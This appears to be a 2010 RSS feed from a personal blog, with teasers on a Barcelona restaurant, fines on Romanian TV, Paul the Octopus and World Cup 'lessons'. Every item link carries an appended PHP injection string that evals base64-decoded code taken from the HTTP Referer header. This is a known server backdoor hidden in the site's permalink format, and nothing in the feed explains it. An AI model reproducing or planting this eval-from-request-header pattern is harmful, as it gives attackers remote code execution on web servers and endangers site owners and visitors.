http://www.iordache.biz About PASSION! (At work!!!) Sun, 05 Sep 2010 17:12:21 +0000 http://backend.userland.com/rss092 en During my recent holidays in Barcelona I ended up in one evening for the second time in Trobador Enric Granados (see photo), a wonderful place to eat Mediterranean food. We’ve chosen a table and soon a Spanish only speaking waiter arrived. We searched on English menu and made our wishes for ... http://www.iordache.biz/2010/09/05/dining-at-trobador-enric-granados/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Minutes ago arrived in my news box the fines that Romanian TV channels received for unscrupulously presenting the suicide of a popular local singer (Madalina Manole – see photo) to general public. Amongst others there were accusations on presenting suicidal methods, showing clear images with her one year old son ... http://www.iordache.biz/2010/07/27/the-encouraging-punishment/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Paul is being auctioned (informally). Price for him, as a forecaster of future football games not as a dish, went up to €30.000.  Let’s see what one may get for this money. ·         First of all a young octopus (maybe 200g) feeding culinary fantasies of many Germans. ·         A football oracle. Really? Let’s ... http://www.iordache.biz/2010/07/24/football-world-cup-lesson-7-%e2%80%93-buying-the-messenger/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ When the (now) famous Paul-the-Octopus “predicted” Germany's loss in the semi-finals lots of German fans volunteered to prepare Paul into some delicious dishes as revenge (especially after proving right again). Punishing the messenger looks as a pretty ugly thing to do (but often seen in business too). How about grilled ... http://www.iordache.biz/2010/07/24/football-world-cup-lesson-6-%e2%80%93-kill-the-messenger/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Just read recently that the Spanish football federation will grant each Spanish player €600.000 in the eventuality of winning the World Cup. While this amount of money would have the power to highly motivate many of us (at least me and my readers) to master some tasks, I have my doubts ... http://www.iordache.biz/2010/07/05/football-world-cup-lesson-5-%e2%80%93-success-fee-for-spaniards-e600000-each/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Quarterfinal: Nederlands vs. Brazil Arjen Robben was in my view the man behind the victory, although for many Wesley Sneijder was more in the spotlights. What I found interesting about this player was controlling his nerves. On average, he has been brutally attacked every 5 minutes. Even myself watching I ... http://www.iordache.biz/2010/07/05/football-world-cup-lesson-4-%e2%80%93-controlling-nerves/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ 1986 – Diego (God in Spanish) Maradona sent England home from Mexico World Cup tournament after scoring for 2-1 with... his right hand. After the game he declared that it was Diego’s hand and Maradona’s head scoring. 2010 – Luis Fabiano (Brazil) plays twice the ball with hand scoring for 2-0 ... http://www.iordache.biz/2010/06/28/football-world-cup-lesson-%e2%80%93-when-%e2%80%9cgod%e2%80%99s-hand%e2%80%9d-substitutes-honor-again-twice/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I just returned from “Mihai Viteazul” National College in Bucharest where I gave a lecture as a guest of Leaders Foundation. I have been asked what I would do if I were in their situation. I think that together with taking seriously formal education is getting social experiences at all ... http://www.iordache.biz/2010/06/19/if-you-ignore-to-program-your-brain-then-somebody-else-will/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ I do admire Argentina a lot and for a number of reasons and I wish they will win. However I have my doubts. They have a great selection of players. They have Messi who scored all four goals in a quarter final game in Champions League. And they have Milito, who ... http://www.iordache.biz/2010/06/16/football-world-cup-lesson-%e2%80%93-will-best-football-player-in-the-world-ever-make-it-again-as-trainer/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ Take a look at Mexican football fans in ‘70s. Get inspired by some tin trumpet they are using during games. Then take some raw plastic and shape it into the form of a trumpet. Name it vuvuzela after word “vuvu” meaning noise in Zulu language. Bring it to the stadium ... http://www.iordache.biz/2010/06/16/football-world-cup-lesson-%e2%80%93-country-branding-recipe/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/